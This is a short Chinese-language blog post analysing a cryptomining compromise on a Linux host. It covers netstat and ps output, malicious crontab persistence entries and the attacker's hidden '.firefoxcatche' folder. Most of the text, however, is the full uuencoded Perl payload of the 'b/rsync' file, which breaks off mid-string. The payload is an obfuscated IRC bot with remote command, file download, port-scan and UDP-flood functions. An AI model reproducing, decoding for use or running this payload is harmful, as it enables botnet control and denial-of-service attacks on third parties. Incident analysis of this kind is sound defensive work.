Mining malware analysis

2022-04-22

Mining malware analysis

1
netstat -antp

大量的 ip 對 107.191.99.95 的 port 80 進行連線,且發現每次重開機後都會重新連線,應該是有開機自啟動。

107.191.99.95

經調查是門羅幣的挖礦

再來分析,使用的程式 cron

PID 為 1475

1
ps -aux |grep 1475 

發現是 ./cron

使用者居然是 test2 (看來是同學帳號亂建立,被暴力入侵而得)

1
find . -name cron*

找到檔案 cron.d

/home/test2/.firefoxcatche/cron.d

1
2
3
4
5
6
* */12 * * * /home/test2/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /home/test2/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /home/test2/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /home/test2/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1

test2 帳號的 crontab

被放了什麼東西進來

主要的惡意程式邏輯應該在 .firefoxcatche

cron.d 是最後要執行的程式

會執行

a/upd
@reboot 後 a/upd

b/sync
@reboot 後 b/sync

/tmp/.X13-unix/.rsync/c/aptitude

先來看 a 資料夾

a/a

a/upd

a/stop

a/run

a/init0

看起來是自毀程式

最後會執行 anacron 這個執行檔案

再來是 b 資料夾

b/a

b/sync

b/ps

二進位執行檔案

b/rsync

1
eval unpack u=>q{_"FUY("1P<F]C97-S;R`]("=R<WEN8R<["@HD<V5R=FED;W(])S4N,C4U+C@V+C$R.2<@=6YL97-S("1S97)V_:61O<CL*;7D@)'!O<G1A/2<T-#,G.PIM>2!`8V%N86ES/2@B(S`P-R(I.PIM>2!`861M<STH(D$B+")8(BD[_"FUY($!A=71H/2@B;&]C86QH;W-T(BD["@IM>2`D;&EN87-?;6%X/38["FUY("1S;&5E<#TS.PH*;7D@)&YI_8VL@/2!G971N:6-K*"D["FUY("1I<F-N86UE(#T@9V5T;FEC:R@I.PIM>2`D<F5A;&YA;64@/2`H8'5N86UE_("UA8"D["@IM>2`D86-E<W-O<VAE;&P@/2`Q.PIM>2`D<')E9FEX;R`]("(A("(["FUY("1E<W1A=&ES=&EC_87,@/2`P.PIM>2`D<&%C;W1E<R`](#$["@IM>2`D5D524T%/(#T@)S`N,F$G.PH*)%-)1WLG24Y4)WT@/2`G_24=.3U)%)SL*)%-)1WLG2%50)WT@/2`G24=.3U)%)SL*)%-)1WLG5$5232=](#T@)TE'3D]212<["B1324=[_)T-(3$0G?2`]("=)1TY/4D4G.PHD4TE'>R=04R=](#T@)TE'3D]212<["@IU<V4@24\Z.E-O8VME=#L*=7-E_(%-O8VME=#L*=7-E($E/.CI396QE8W0["F-H9&ER*"(O(BD["B1S97)V:61O<CTB)$%21U9;,%TB(&EF("1!_4D=66S!=.PHD,#TB)'!R;V-E<W-O(BXB7#`B.PIM>2`D<&ED/69O<FL["F5X:70@:68@)'!I9#L*9&EE(")0_<F]B;&5M82!C;VT@;R!F;W)K.B`D(2(@=6YL97-S(&1E9FEN960H)'!I9"D["@IM>2`E:7)C7W-E<G9E<G,[_"FUY("5$0T,["FUY("1D8V-?<V5L(#T@;F5W($E/.CI396QE8W0M/FYE=R@I.PH*"@H*<W5B(&=E=&YI8VL@_>PH@(')E='5R;B`B>"(N:6YT*')A;F0H.3`P,"DI.PI]"@H*<W5B(&=E=&ED96YT('L*("!M>2`D<F5T;W)N_;VED96YT(#T@)E]G970H(FAT='`Z+R]W=W<N;6EN<&]P+F-O;2]S:S$R<&%C:R]I9&5N=',N<&AP(BD["B`@_;7D@)&ED96YT8VAA;F-E(#T@:6YT*')A;F0H,3`P,"DI.PH@(&EF("@D:61E;G1C:&%N8V4@/B`S,"D@>PH@_("`@(')E='5R;B`D;FEC:SL*("!](&5L<V4@>PH@("`@(')E='5R;B`D<F5T;W)N;VED96YT.PH@('T*("!R_971U<FX@)')E=&]R;F]I9&5N=#L*?0H*<W5B(&=E=&YA;64@>PH@(&UY("1R971O<FYO;F%M92`]("9?9V5T_*")H='1P.B\O=W=W+FUI;G!O<"YC;VTO<VLQ,G!A8VLO;F%M97,N<&AP(BD["B`@<F5T=7)N("1R971O<FYO_;F%M93L*?0H*<W5B(&=E=&ED96YT,B!["B`@("`@("`@;7D@)&QE;F=T:#US:&EF=#L*("`@("`@("`D;&5N_9W1H(#T@,R!I9B`H)&QE;F=T:"`\(#,I.PH*("`@("`@("!M>2!`8VAA<G,]*"=A)RXN)WHG+"=!)RXN)UHG_+"<Q)RXN)SDG*3L*("`@("`@("!F;W)E86-H("@Q+BXD;&5N9W1H*0H@("`@("`@('L*("`@("`@("`@("`@_("`@("1R86YD;VUS=')I;F<N/21C:&%R<UMR86YD($!C:&%R<UT["B`@("`@("`@?0H@("`@("`@(')E='5R_;B`D<F%N9&]M<W1R:6YG.PI]"@IS=6(@9V5T<W1O<F4@*"0D*0I["B`@;7D@)'5R;"`]('-H:69T.PH@(&UY_("1F:6QE(#T@<VAI9G0["@H@("1H='1P7W-T<F5A;5]O=70@/2`Q.PH@(&]P96XH1T547T]55$9)3$4L("(^_("1F:6QE(BD["B`@)6AT='!?;&]O<%]C:&5C:R`]("@I.PH@(%]G970H)'5R;"D["B`@8VQO<V4@1T547T]5_5$9)3$4["B`@<F5T=7)N("1M86EN.CIH='1P7V=E=%]R97-U;'0["GT*"G-U8B!?9V5T"GL*("!M>2`D=7)L_(#T@<VAI9G0["B`@;7D@)'!R;WAY(#T@(B(["B`@9W)E<"![*&QC*"1?*2!E<2`B:'1T<%]P<F]X>2(I("8F_("@D<')O>'D@/2`D14Y6>R1??2E](&ME>7,@)45.5CL*("!I9B`H*"1P<F]X>2!E<2`B(BD@)B8@)'5R;"`]_?B!M+%YH='1P.B\O*%M>+SI=*RDH/SHZ*%QD*RDI/R@O7%,J*3\D+"D@>PH@("`@;7D@)&AO<W0@/2`D,3L*_("`@(&UY("1P;W)T(#T@)#(@?'P@.#`["B`@("!M>2`D<&%T:"`]("0S.PH@("`@)'!A=&@@/2`B+R(@=6YL_97-S(&1E9FEN960H)'!A=&@I.PH@("`@<F5T=7)N(%]T<FEV:6%L7VAT='!?9V5T*"1H;W-T+"`D<&]R="P@_)'!A=&@I.PH@('T@96QS:68@*"1P<F]X>2`]?B!M+%YH='1P.B\O*%M>+SI=*RDZ*%QD*RDH+UQ3*BD_)"PI_('L*("`@(&UY("1H;W-T(#T@)#$["B`@("!M>2`D<&]R="`]("0R.PH@("`@;7D@)'!A=&@@/2`D=7)L.PH@_("`@<F5T=7)N(%]T<FEV:6%L7VAT='!?9V5T*"1H;W-T+"`D<&]R="P@)'!A=&@I.PH@('T@96QS92!["B`@_("!R971U<FX@=6YD968["B`@?0I]"@H*<W5B(%]T<FEV:6%L7VAT='!?9V5T"GL*("!M>2@D:&]S="P@)'!O_<G0L("1P871H*2`]($!?.PH@(&UY*"1!1T5.5"P@)%9%4E-)3TXL("1P*3L*"B`@)$%'14Y4(#T@(F=E="UM_:6YI;6%L(CL*("`D5D524TE/3B`]("(R,#`P,#$Q."(["@H@("1P871H(#U^(',O("\E,C`O9SL*"B`@<F5Q_=6ER92!)3SHZ4V]C:V5T.PH@(&QO8V%L*"1>5RD@/2`P.PH@(&UY("1S;V-K(#T@24\Z.E-O8VME=#HZ24Y%_5"T^;F5W*%!E97)!9&1R(#T^("1H;W-T+`H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(%!E_97)0;W)T(#T^("1P;W)T+`H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(%!R;W1O("`@/3X@_)W1C<"<L"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@5&EM96]U="`@/3X@-C`I('Q\(')E_='5R;CL*("`D<V]C:RT^875T;V9L=7-H.PH@(&UY("1N971L;V,@/2`D:&]S=#L*("`D;F5T;&]C("X]("(Z_)'!O<G0B(&EF("1P;W)T("$](#@P.PH@(&UY("1R97%U97-T(#T@(D=%5"`D<&%T:"!(5%10+S$N,%PP,35<_,#$R(@H@("`@("`@("`@("`@("X@(DAO<W0Z("1N971L;V-<,#$U7#`Q,B(*("`@("`@("`@("`@("`N(")5_<V5R+4%G96YT.B`D04=%3E0O)%9%4E-)3TXO=5PP,35<,#$R(CL*("`D<F5Q=65S="`N/2`B4')A9VUA.B!N_;RUC86-H95PP,35<,#$R(B!I9B`H)&UA:6XZ.FAT='!?;F]?8V%C:&4I.PH@("1R97%U97-T("X](")<,#$U_7#`Q,B(["B`@<')I;G0@)'-O8VL@)')E<75E<W0["@H@(&UY("1B=68@/2`B(CL*("!M>2`D;CL*("!M>2`D_8C$@/2`B(CL*("!W:&EL92`H)&X@/2!S>7-R96%D*"1S;V-K+"`D8G5F+"`X*C$P,C0L(&QE;F=T:"@D8G5F_*2DI('L*("`@(&EF("@D8C$@97$@(B(I('L@"B`@("`@("1B,2`]("1B=68[("`@("`@("`@"B`@("`@("1B_=68@/7X@<R\N*S]<,#$U/UPP,3)<,#$U/UPP,3(O+W,[("`@("`@"B`@("!]"B`@("!I9B`H)&AT='!?<W1R_96%M7V]U="D@>R!P<FEN="!'151?3U541DE,12`D8G5F.R`D8G5F(#T@(B([('T*("!]"B`@<F5T=7)N('5N_9&5F('5N;&5S<R!D969I;F5D*"1N*3L*"B`@)&UA:6XZ.FAT='!?9V5T7W)E<W5L="`](#(P,#L*("!I9B`H_)&(Q(#U^(&TL7DA45%`O7&0K7"Y<9"M<<RLH7&0K*5M>7#`Q,ETJ7#`Q,BPI('L*("`@("1M86EN.CIH='1P_7V=E=%]R97-U;'0@/2`D,3L*("`@(&EF("@D;6%I;CHZ:'1T<%]G971?<F5S=6QT(#U^("]>,S!;,3(S-UTO_("8F("1B,2`]?B`O7#`Q,DQO8V%T:6]N.EQS*BA<4RLI+PHI('L*("`@("`@;7D@)'5R;"`]("0Q.PH@("`@_("!R971U<FX@=6YD968@:68@)&AT='!?;&]O<%]C:&5C:WLD=7)L?2LK.PH@("`@("!R971U<FX@7V=E="@D_=7)L*3L*("`@('T*("`@(')E='5R;B!U;F1E9B!U;FQE<W,@)&UA:6XZ.FAT='!?9V5T7W)E<W5L="`]?B`O_7C(O.PH@('T*"B`@<F5T=7)N("1B=68["GT*"@HD<V5L7V-L:65N=&4@/2!)3SHZ4V5L96-T+3YN97<H*3L*_<W5B('-E;F1R87<@>PH@(&EF("@D(U\@/3T@)S$G*2!["B`@("!M>2`D<V]C:V5T(#T@)%];,%T["B`@("!P_<FEN="`D<V]C:V5T("(D7ULQ75QN(CL*("!](&5L<V4@>PH@("`@("!P<FEN="`D25)#7V-U<E]S;V-K970@_(B1?6S!=7&XB.PH@('T*?0H*<W5B(&-O;F5C=&%R('L*("`@;7D@)&UE=6YI8VL@/2`D7ULP73L*("`@;7D@_)'-E<G9I9&]R7V-O;B`]("1?6S%=.PH@("!M>2`D<&]R=&%?8V]N(#T@)%];,ET["@H@("!M>2`D25)#7W-O_8VME="`]($E/.CI3;V-K970Z.DE.150M/FYE=RA0<F]T;ST^(G1C<"(L(%!E97)!9&1R/3XB)'-E<G9I9&]R_7V-O;B(L(%!E97)0;W)T/3XD<&]R=&%?8V]N*2!O<B!R971U<FXH,2D["B`@(&EF("AD969I;F5D*"1)4D-?_<V]C:V5T*2D@>PH@("`@("1)4D-?8W5R7W-O8VME="`]("1)4D-?<V]C:V5T.PH*("`@("`D25)#7W-O8VME_="T^875T;V9L=7-H*#$I.PH@("`@("1S96Q?8VQI96YT92T^861D*"1)4D-?<V]C:V5T*3L*"B`@("`@)&ER_8U]S97)V97)S>R1)4D-?8W5R7W-O8VME='U[)VAO<W0G?2`]("(D<V5R=FED;W)?8V]N(CL*("`@("`D:7)C_7W-E<G9E<G-[)$E20U]C=7)?<V]C:V5T?7LG<&]R=&$G?2`]("(D<&]R=&%?8V]N(CL*("`@("`D:7)C7W-E_<G9E<G-[)$E20U]C=7)?<V]C:V5T?7LG;FEC:R=](#T@)&UE=6YI8VL["B`@("`@)&ER8U]S97)V97)S>R1)_4D-?8W5R7W-O8VME='U[)VUE=6EP)WT@/2`D25)#7W-O8VME="T^<V]C:VAO<W0["B`@("`@;FEC:R@B)&UE_=6YI8VLB*3L*("`@("!S96YD<F%W*")54T52("1I<F-N86UE("(N)$E20U]S;V-K970M/G-O8VMH;W-T+B(@_)'-E<G9I9&]R7V-O;B`Z)')E86QN86UE(BD["B`@("`@<VQE97`@,CL*("`@?0H*?0IM>2`D;&EN95]T96UP_.PIW:&EL92@@,2`I('L*("`@=VAI;&4@*"$H:V5Y<R@E:7)C7W-E<G9E<G,I*2D@>R!C;VYE8W1A<B@B)&YI_8VLB+"`B)'-E<G9I9&]R(BP@(B1P;W)T82(I.R!]"B`@(&1E;&5T92@D:7)C7W-E<G9E<G-[)R=]*2!I9B`H_9&5F:6YE9"@D:7)C7W-E<G9E<G-[)R=]*2D["B`@("9$0T,Z.F-O;FYE8W1I;VYS.PH@("!M>2!`<F5A9'D@_/2`D<V5L7V-L:65N=&4M/F-A;E]R96%D*#`N-BD["B`@(&YE>'0@=6YL97-S*$!R96%D>2D["B`@(&9O<F5A_8V@@)&9H("A`<F5A9'DI('L*("`@("`D25)#7V-U<E]S;V-K970@/2`D9F@["B`@("`@)&UE=6YI8VL@/2`D_:7)C7W-E<G9E<G-[)$E20U]C=7)?<V]C:V5T?7LG;FEC:R=].PH@("`@("1N<F5A9"`]('-Y<W)E860H)&9H_+"`D;7-G+"`T,#DV*3L*("`@("!I9B`H)&YR96%D(#T](#`I('L*("`@("`@("`D<V5L7V-L:65N=&4M/G)E_;6]V92@D9F@I.PH@("`@("`@("1F:"T^8VQO<V4["B`@("`@("`@9&5L971E*"1I<F-?<V5R=F5R<WLD9FA]_*3L*("`@("!]"B`@("`@0&QI;F5S(#T@<W!L:70@*"]<;B\L("1M<V<I.PH*("`@("!F;W(H;7D@)&,],#L@_)&,\/2`D(VQI;F5S.R`D8RLK*2!["B`@("`@("`D;&EN92`]("1L:6YE<ULD8UT["B`@("`@("`D;&EN93TD_;&EN95]T96UP+B1L:6YE(&EF("@D;&EN95]T96UP*3L*("`@("`@("1L:6YE7W1E;7`])R<["B`@("`@("`D_;&EN92`]?B!S+UQR)"\O.PH@("`@("`@=6YL97-S("@D8R`]/2`D(VQI;F5S*2!["B`@("`@("`@('!A<G-E_*"(D;&EN92(I.PH@("`@("`@?2!E;'-E('L*("`@("`@("`@("!I9B`H)"-L:6YE<R`]/2`P*2!["B`@("`@_("`@("`@("!P87)S92@B)&QI;F4B*3L*("`@("`@("`@("!](&5L<VEF("@D;&EN97-;)&-=(#U^("]<<B0O_*2!["B`@("`@("`@("`@("`@('!A<G-E*"(D;&EN92(I.PH@("`@("`@("`@('T@96QS:68@*"1L:6YE(#U^_("]>*%Q3*RD@3D]424-%($%55$@@.EPJ7"I<*B\I('L*("`@("`@("`@("`@("`@<&%R<V4H(B1L:6YE(BD[_"B`@("`@("`@("`@?2!E;'-E('L*("`@("`@("`@("`@("`@)&QI;F5?=&5M<"`]("1L:6YE.PH@("`@("`@_("`@('T*("`@("`@('T*("`@("`@?0H@("!]"GT*"G-U8B!P87)S92!["B`@(&UY("1S97)V87)G(#T@<VAI_9G0["B`@(&EF("@D<V5R=F%R9R`]?B`O7E!)3D<@7#HH+BHI+RD@>PH@("`@('-E;F1R87<H(E!/3D<@.B0Q_(BD["B`@('T@96QS:68@*"1S97)V87)G(#U^("]>7#HH+BL_*5PA*"XK/RE<0"@N*S\I(%!2259-4T<@*"XK_/RD@7#HH+BLI+RD@>PH@("`@("`@;7D@)'!N/20Q.R!M>2`D;VYD92`]("0T.R!M>2`D87)G<R`]("0U.PH@_("`@("`@:68@*"1A<F=S(#U^("]>7#`P,59%4E-)3TY<,#`Q)"\I('L*("`@("`@("`@;F]T:6-E*"(D<&XB_+"`B7#`P,59%4E-)3TX@;4E20R!V-BXQ-B!%3D4@04Q)3B!'04)2245,7#`P,2(I.PH@("`@("`@?0H@("`@_("`@96QS:68@*"1A<F=S(#U^("]>7#`P,5!)3D=<<RLH7&0K*5PP,#$D+RD@>PH@("`@("`@("!N;W1I8V4H_(B1P;B(L(")<,#`Q4$].1UPP,#$B*3L*("`@("`@('T*("`@("`@(&5L<VEF("AG<F5P('LD7R`]?B`O7EQ1_)'!N7$4D+VD@?2!`861M<RD@>PH@("`@("`@("!I9B`H)&]N9&4@97$@(B1M975N:6-K(BE["B`@("`@("`@_("`@<VAE;&PH(B1P;B(L("(D87)G<R(I.PH@("`@("`@("`@('T*("`@("`@("`@96QS:68@*"1A<F=S(#U^_("]>*%Q1)&UE=6YI8VM<17Q<421P<F5F:7AO7$4I7',K*"XJ*2\@*2!["B`@("`@("`@("`@(&UY("1N871R_:7@@/2`D,3L*("`@("`@("`@("`@;7D@)&%R9R`]("0R.PH@("`@("`@("`@("!I9B`H)&%R9R`]?B`O7EPA_*"XJ*2\I('L*("`@("`@("`@("`@("!I<F-A<V4H(B1P;B(L(B1O;F1E(BPB)#$B*2!U;FQE<W,@*"1N871R_:7@@97$@(B1P<F5F:7AO(B!A;F0@)&%R9R`]?B`O7EPA;FEC:R\I.PH@("`@("`@("`@("!](&5L<VEF("@D_87)G(#U^("]>7$`H+BHI+RD@>PH@("`@("`@("`@("`@("`@)&]N9&5P(#T@)&]N9&4["B`@("`@("`@("`@_("`@("`D;VYD97`@/2`D<&X@:68@)&]N9&4@97$@)&UE=6YI8VL["B`@("`@("`@("`@("`@("!B9G5N8R@B_)&]N9&5P(BPB)#$B*3L*("`@("`@("`@("`@?2!E;'-E('L*("`@("`@("`@("`@("`@('-H96QL*"(D;VYD_92(L("(D87)G(BD["B`@("`@("`@("`@('T*("`@("`@("`@?0H@("`@("`@?0H@("!](&5L<VEF("@D<V5R_=F%R9R`]?B`O7EPZ*"XK/RE<(2@N*S\I7$`H+BL_*5QS*TY)0TM<<RM<.BA<4RLI+VDI('L*("`@("`@(&EF_("AL8R@D,2D@97$@;&,H)&UE=6YI8VLI*2!["B`@("`@("`@("1M975N:6-K/20T.PH@("`@("`@("`D:7)C_7W-E<G9E<G-[)$E20U]C=7)?<V]C:V5T?7LG;FEC:R=](#T@)&UE=6YI8VL["B`@("`@("!]"B`@('T@96QS_:68@*"1S97)V87)G(#U^(&TO7EPZ*"XK/RE<<RLT,S,O:2D@>PH@("`@("`@)&UE=6YI8VL@/2!G971N:6-K_*"D["B`@("`@("!N:6-K*"(D;65U;FEC:R(I.PH@("!](&5L<VEF("@D<V5R=F%R9R`]?B!M+UY<.B@N*S\I_7',K,#`Q7',K*%Q3*RE<<R]I*2!["B`@("`@("`D;65U;FEC:R`]("0R.PH@("`@("`@)&ER8U]S97)V97)S_>R1)4D-?8W5R7W-O8VME='U[)VYI8VLG?2`]("1M975N:6-K.PH@("`@("`@)&ER8U]S97)V97)S>R1)4D-?_8W5R7W-O8VME='U[)VYO;64G?2`]("(D,2(["B`@("`@("!F;W)E86-H(&UY("1C86YA;"`H0&-A;F%I<RD@_>PH@("`@("`@("!S96YD<F%W*")*3TE.("1C86YA;"(I.PH@("`@("`@?0H@("!]"GT*"G-U8B!B9G5N8R![_"B`@;7D@)'!R:6YT;"`]("1?6S!=.PH@(&UY("1F=6YC87)G(#T@)%];,5T["B`@:68@*&UY("1P:60@/2!F_;W)K*2!["B`@("`@=V%I='!I9"@D<&ED+"`P*3L*("!](&5L<V4@>PH@("`@("!I9B`H9F]R:RD@>PH@("`@_("`@("!E>&ET.PH@("`@("`@?2!E;'-E('L*("`@("`@("`@("!I9B`H)&9U;F-A<F<@/7X@+UYP;W)T<V-A_;B`H+BHI+RD@>PH@("`@("`@("`@("`@;7D@)&AO<W1I<#TB)#$B.PH@("`@("`@("`@("`@;7D@0'!O<G1A_<STH(C(Q(BPB,C(B+"(R,R(L(C(U(BPB-3,B+"(X,"(L(C$Q,"(L(C$T,R(L(C8V-C4B*3L*("`@("`@("`@_("`@(&UY("A`86)E<G1A+"`E<&]R=&%?8F%N;F5R*3L*("`@("`@("`@("`@(&9O<F5A8V@@;7D@)'!O<G1A_("A`<&]R=&%S*2`@>PH@("`@("`@("`@("`@("`@;7D@)'-C86YS;V-K(#T@24\Z.E-O8VME=#HZ24Y%5"T^_;F5W*%!E97)!9&1R(#T^("1H;W-T:7`L(%!E97)0;W)T(#T^("1P;W)T82P@4')O=&\@/3X@)W1C<"<L(%1I_;65O=70@/3X@-"D["B`@("`@("`@("`@("`@("!I9B`H)'-C86YS;V-K*2!["B`@("`@("`@("`@("`@("`@_("!P=7-H("A`86)E<G1A+"`D<&]R=&$I.PH@("`@("`@("`@("`@("`@("`@)'-C86YS;V-K+3YC;&]S93L*_("`@("`@("`@("`@("`@('T*("`@("`@("`@("`@('T*("`@("`@("`@("`@(&EF("A`86)E<G1A*2!["B`@_("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C:V5T+"`B4%))5DU31R`D<')I;G1L(#I0;W)T87,@_86)E<G1A<SH@0&%B97)T82(I.PH@("`@("`@("`@("`@?2!E;'-E('L*("`@("`@("`@("`@("`@("!S96YD_<F%W*"1)4D-?8W5R7W-O8VME="PB4%))5DU31R`D<')I;G1L(#I.96YH=6UA('!O<G1A(&%B97)T82!F;VD@_96YC;VYT<F%D82XB*3L*("`@("`@("`@("`@('T*("`@("`@("`@("!]"@H@("`@("`@("`@(&5L<VEF("@D_9G5N8V%R9R`]?B`O7F1O=VYL;V%D7',K*"XJ*5QS*R@N*BDO*2!["B`@("`@("`@("`@(&=E='-T;W)E*"(D_,2(L("(D,B(I.PH@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT_;"`Z1&]W;FQO860@9&4@)#(@*"0Q*2!#;VYC;'4N9&\A(BD@:68@*"1E<W1A=&ES=&EC87,I.PH@("`@("`@_("`@("!]"@H@("`@("`@("`@(&5L<VEF("@D9G5N8V%R9R`]?B`O7F9U;&QP;W)T<V-A;EQS*R@N*BE<<RLH_7&0K*5QS*RA<9"LI+RD@>PH@("`@("`@("`@("`@;7D@)&AO<W1N86UE/2(D,2(["B`@("`@("`@("`@("!M_>2`D<&]R=&%I;FEC:6%L(#T@(B0R(CL*("`@("`@("`@("`@(&UY("1P;W)T869I;F%L(#T@(B0S(CL*("`@_("`@("`@("`@(&UY("A`86)E<G1A<RP@)7!O<G1A7V)A;FYE<BD["B`@("`@("`@("`@("!F;W)E86-H(&UY_("1P;W)T82`H)'!O<G1A:6YI8VEA;"XN)'!O<G1A9FEN86PI"B`@("`@("`@("`@("!["B`@("`@("`@("`@_("`@(&UY("1S8V%N<V]C:R`]($E/.CI3;V-K970Z.DE.150M/FYE=RA0965R061D<B`]/B`D:&]S=&YA;64L_(%!E97)0;W)T(#T^("1P;W)T82P@4')O=&\@/3X@)W1C<"<L(%1I;65O=70@/3X@-"D["B`@("`@("`@("`@_("`@(&EF("@D<V-A;G-O8VLI('L*("`@("`@("`@("`@("`@("!P=7-H("A`86)E<G1A<RP@)'!O<G1A*3L*_("`@("`@("`@("`@("`@("`D<V-A;G-O8VLM/F-L;W-E.PH@("`@("`@("`@("`@("`@(&EF("@D97-T871I_<W1I8V%S*2!["B`@("`@("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@_)'!R:6YT;"`Z4&]R=&$@)'!O<G1A(&%B97)T82!E;2`D:&]S=&YA;64B*3L*("`@("`@("`@("`@("`@("!]_"B`@("`@("`@("`@("`@('T*("`@("`@("`@("`@('T*("`@("`@("`@("`@(&EF("A`86)E<G1A<RD@>PH@_("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT;"`Z4&]R=&%S_(&%B97)T87,Z($!A8F5R=&%S(BD["B`@("`@("`@("`@("!](&5L<V4@>PH@("`@("`@("`@("`@("!S96YD_<F%W*"1)4D-?8W5R7W-O8VME="PB4%))5DU31R`D<')I;G1L(#I.96YH=6UA('!O<G1A(&%B97)T82!F;VD@_96YC;VYT<F%D82XB*3L*("`@("`@("`@("`@('T*("`@("`@("`@("`@?0H*("`@("`@("`@("`@96QS:68@_*"1F=6YC87)G(#U^("]>=61P7',K*"XJ*5QS*RA<9"LI7',K*%QD*RDO*2!["B`@("`@("`@("`@("`@<F5T_=7)N('5N;&5S<R`D<&%C;W1E<SL*("`@("`@("`@("`@("!S;V-K970H5'(P>"P@4$9?24Y%5"P@4T]#2U]$_1U)!32P@,3<I.PH@("`@("`@("`@("`@(&UY("1A;'9O/6EN971?871O;B@B)#$B*3L*("`@("`@("`@("`@_("!M>2`D<&]R=&$@/2`B)#(B.PH@("`@("`@("`@("`@(&UY("1T96UP;R`]("(D,R(["B`@("`@("`@("`@_("`@;7D@)'!A8V]T93L*("`@("`@("`@("`@("!M>2`D<&%C;W1E<V4["B`@("`@("`@("`@("`@;7D@)&9I_;2`]('1I;64@*R`D=&5M<&\["B`@("`@("`@("`@("`@;7D@)'!A8V]T82`](#$["B`@("`@("`@("`@("`@_=VAI;&4@*"@D<&%C;W1A(#T]("(Q(BD@)B8@*"1P86-O=&5S(#T]("(Q(BDI('L*("`@("`@("`@("`@("`@_("1P86-O=&$@/2`P(&EF("@H=&EM92`^/2`D9FEM*2`F)B`H)'1E;7!O("$]("(P(BDI.PH@("`@("`@("`@_("`@("`@)'!A8V]T93TD<F%N9"!X("1R86YD('@@)')A;F0["B`@("`@("`@("`@("`@("`D<&]R=&$@/2!I_;G0H<F%N9"`V-3`P,"D@*S$@:68@*"1P;W)T82`]/2`B,"(I.PH@("`@("`@("`@("`@("`@<V5N9"A4<C!X_+"`P+"`D<&%C;W1E+"!S;V-K861D<E]I;B@D<&]R=&$L("1A;'9O*2D@86YD("1P86-O=&5S92LK(&EF("@D_<&%C;W1E<R`]/2`B,2(I.PH@("`@("`@("`@("`@('T*("`@("`@("`@("`@("!I9B`H)&5S=&%T:7-T:6-A_<RD*("`@("`@("`@("`@("!["B`@("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C:V5T+"`B4%))_5DU31R`D<')I;G1L(#I<,#`R5&5M<&\@9&4@4&%C;W1E<UPP,#(Z("1T96UP;R(N(G,B*3L*("`@("`@("`@_("`@("`@<V5N9')A=R@D25)#7V-U<E]S;V-K970L(")04DE635-'("1P<FEN=&P@.EPP,#)4;W1A;"!D92!0_86-O=&5S7#`P,CH@)'!A8V]T97-E(BD["B`@("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C:V5T_+"`B4%))5DU31R`D<')I;G1L(#I<,#`R06QV;R!D;W,@4&%C;W1E<UPP,#(Z("0Q(BD["B`@("`@("`@("`@_("`@?0H@("`@("`@("`@("!]"@H@("`@("`@("`@("!E;'-I9B`H)&9U;F-A<F<@/7X@+UYU9'!F86EX85QS_*R@N*BE<<RLH7&0K*5QS*RA<9"LI+RD@>PH@("`@("`@("`@("`@(')E='5R;B!U;FQE<W,@)'!A8V]T97,[_"B`@("`@("`@("`@("`@<V]C:V5T*%1R,'@L(%!&7TE.150L(%-/0TM?1$=204TL(#$W*3L*("`@("`@("`@_("`@("!M>2`D9F%I>&%I<#TB)#$B.PH@("`@("`@("`@("`@(&UY("1P;W)T82`]("(D,B(["B`@("`@("`@_("`@("`@;7D@)'1E;7!O(#T@(B0S(CL*("`@("`@("`@("`@("!M>2`D<&%C;W1E.PH@("`@("`@("`@("`@_(&UY("1P86-O=&5S.PH@("`@("`@("`@("`@(&UY("1F:6T@/2!T:6UE("L@)'1E;7!O.PH@("`@("`@("`@_("`@(&UY("1P86-O=&$@/2`Q.PH@("`@("`@("`@("`@(&UY("1A;'9O.PH@("`@("`@("`@("`@('=H:6QE_("@D<&%C;W1A(#T]("(Q(BD@>PH@("`@("`@("`@("`@("`@)'!A8V]T82`](#`@:68@*"AT:6UE(#X]("1F_:6TI("8F("@D=&5M<&\@(3T@(C`B*2D["B`@("`@("`@("`@("`@("!F;W(@*&UY("1F86EX82`](#$[("1F_86EX82`\/2`R-34[("1F86EX82LK*2!["B`@("`@("`@("`@("`@("`@("1A;'9O(#T@:6YE=%]A=&]N*"(D_9F%I>&%I<"XD9F%I>&$B*3L*("`@("`@("`@("`@("`@("`@)'!A8V]T93TD<F%N9"!X("1R86YD('@@)')A_;F0["B`@("`@("`@("`@("`@("`@("1P;W)T82`](&EN="AR86YD(#8U,#`P*2`K,2!I9B`H)'!O<G1A(#T]_("(P(BD["B`@("`@("`@("`@("`@("`@('-E;F0H5'(P>"P@,"P@)'!A8V]T92P@<V]C:V%D9')?:6XH)'!O_<G1A+"`D86QV;RDI(&%N9"`D<&%C;W1E<V4K*R!I9B`H)'!A8V]T97,@/3T@(C$B*3L*("`@("`@("`@("`@_("`@("`@:68@*"1F86EX82`^/2`R-34I('L*("`@("`@("`@("`@("`@("`@("`D9F%I>&$@/2`Q.PH@("`@_("`@("`@("`@("`@("!]"B`@("`@("`@("`@("`@("!]"B`@("`@("`@("`@("`@?0H@("`@("`@("`@("`@_(&EF("@D97-T871I<W1I8V%S*0H@("`@("`@("`@("`@('L*("`@("`@("`@("`@("`@<V5N9')A=R@D25)#_7V-U<E]S;V-K970L(")04DE635-'("1P<FEN=&P@.EPP,#)496UP;R!D92!086-O=&5S7#`P,CH@)'1E;7!O_(BXB<R(I.PH@("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT_;"`Z7#`P,E1O=&%L(&1E(%!A8V]T97-<,#`R.B`D<&%C;W1E<V4B*3L*("`@("`@("`@("`@("`@<V5N9')A_=R@D25)#7V-U<E]S;V-K970L(")04DE635-'("1P<FEN=&P@.EPP,#)!;'9O(&1O<R!086-O=&5S7#`P,CH@_)&%L=F\B*3